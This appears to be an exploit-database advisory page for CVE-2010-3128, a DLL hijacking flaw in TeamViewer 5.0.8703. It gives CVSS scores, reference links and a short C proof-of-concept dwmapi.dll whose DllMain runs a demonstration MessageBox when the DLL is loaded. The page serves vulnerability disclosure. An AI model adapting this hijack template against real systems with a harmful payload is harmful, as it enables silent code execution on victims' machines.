TeamViewer <= 5.0.8703 DLL Hijacking Exploit (dwmapi.dll)

2010.08.27

Credit: glafkos astalavista com

Risk: High

Local: No

Remote: Yes

CVE: CVE-2010-3128

CWE: CWE-Other

CVSS Base Score: 9.3/10

Impact Subscore: 10/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: Complete

Integrity impact: Complete

Availability impact: Complete

/* 
Exploit Title: TeamViewer <= 5.0.8703 DLL Hijacking Exploit (dwmapi.dll)
Date: August 25, 2010
Author: Glafkos Charalambous (glafkos[@]astalavista[dot]com)
Version: Latest TeamViewer 5.0.8703
Tested on: Windows XP SP3 En
Vulnerable extensions: .tvs .tvc
Greetz: Astalavista, OffSEC, Exploit-DB
*/

#include <windows.h>
#define DllExport __declspec (dllexport)

BOOL WINAPI  DllMain (
            HANDLE    hinstDLL,
            DWORD     fdwReason,
            LPVOID    lpvReserved)
{
  dll_hijack();
  return 0;
}

int dll_hijack()
{
  MessageBox(0, "TeamViewer DLL Hijacking!", "DLL Message", MB_OK);
  return 0;
}

References:

http://www.vupen.com/english/advisories/2010/2174

http://www.securityfocus.com/archive/1/archive/1/513317/100/0/threaded

http://www.exploit-db.com/exploits/14734

http://secunia.com/advisories/41112

See this note in RAW Version

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TeamViewer <= 5.0.8703 DLL Hijacking Exploit (dwmapi.dll)

References:

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